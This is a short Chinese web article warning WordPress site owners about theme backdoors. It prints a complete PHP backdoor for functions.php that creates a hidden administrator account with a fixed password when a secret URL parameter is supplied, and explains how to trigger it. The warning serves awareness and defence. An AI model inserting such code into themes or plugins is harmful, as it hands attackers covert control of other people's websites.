防范wordpress主題加后門代碼獲取管理員權(quán)限
發(fā)布時(shí)間：2013-12-27 11:43:03 作者：佚名 
我要評論
我要評論只需幾行代碼就可以為WordPress主題留下后門，大家要小心了
復(fù)制代碼
代碼如下:add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'backdoor' ) ) {
$user_id = wp_create_user( 'backdoor', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}
簡單說明下，代碼主要放于functions.php文件里面，不會影響任何功能使用，如果存在此代碼，任何人只要運(yùn)行http://www.你的域名.com/?backdoor=go，然后就創(chuàng)建了一個(gè)用戶名為“backdoor”，密碼為：“pa55w0rd!” 的管理員。同樣具備管理員的權(quán)限，很編輯主題代碼文件，相信此時(shí)你一定感覺到很危險(xiǎn)了吧，趕緊檢查檢查自己的主題代碼吧……
相關(guān)文章
CyberPanel安裝WordPress并配置偽靜態(tài)規(guī)則
下面教你如何在 CyberPanel安裝WordPress以及配置偽靜態(tài),需要的朋友可以參考下2023-12-27
這篇文章主要介紹了wordpress無法安裝更新主題插件的解決辦法,需要的朋友可以參考下2020-12-27WordPress必備數(shù)據(jù)庫SQL查詢語句整理
發(fā)現(xiàn)幾條比較實(shí)用的，適合 WordPress 實(shí)用的SQL語句。于是就趕緊收集分享出來了,需要的朋友可以參考下2017-09-23wordpress在安裝使用中出現(xiàn)404、403、500及502問題的分析與解決方法
wordpress是很多新手站長搭建個(gè)人博客最喜愛的程序，但是最近在使用WordPress的時(shí)候遇到了一些問題，所以想著將遇到問題總結(jié)分享出來，下面這篇文章主要給大家介紹了關(guān)于wo2017-08-11WordPress取消英文標(biāo)點(diǎn)符號自動替換中文標(biāo)點(diǎn)符號的優(yōu)雅方法
這篇文章主要介紹了WordPress取消英文標(biāo)點(diǎn)符號自動替換中文標(biāo)點(diǎn)符號的優(yōu)雅方法,需要的朋友可以參考下2017-04-04- 這篇文章主要給大家介紹了wordpress自定義上傳文件類型的方法，如WordPress默認(rèn)允許上傳 .exe 后綴名的可運(yùn)行文件，那么我們怎么禁止用戶在WordPress后臺發(fā)表文章時(shí)上傳 .e2016-12-19
- 大家可能發(fā)現(xiàn)了當(dāng)實(shí)現(xiàn)了前端用戶中心，后臺控制面板就失去了作用，那么限制其他用戶進(jìn)入后臺控制面板就很有必要了！那么我們要怎么做呢？通過下面這篇文章分享的方法后，只2016-12-19
WordPress實(shí)現(xiàn)回復(fù)文章評論后發(fā)送郵件通知的功能
這篇文章主要介紹了WordPress實(shí)現(xiàn)回復(fù)文章評論后發(fā)送郵件通知的功能,涉及wordpress針對評論與郵件的相關(guān)操作技巧,需要的朋友可以參考下2016-10-11WordPress使用自定義文章類型實(shí)現(xiàn)任意模板的方法
這篇文章主要介紹了WordPress使用自定義文章類型實(shí)現(xiàn)任意模板的方法,可通過自定義文章類型來實(shí)現(xiàn)任意模版的使用,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2016-10-11WordPress后臺地址被改導(dǎo)致無法登陸后臺的簡單解決方法
這篇文章主要介紹了WordPress后臺地址被改導(dǎo)致無法登陸后臺的簡單解決方法,簡單分析了后臺無法登陸的原因與相應(yīng)的解決方法,涉及針對wordpress配置項(xiàng)的簡單修改,需要的朋友2016-10-11
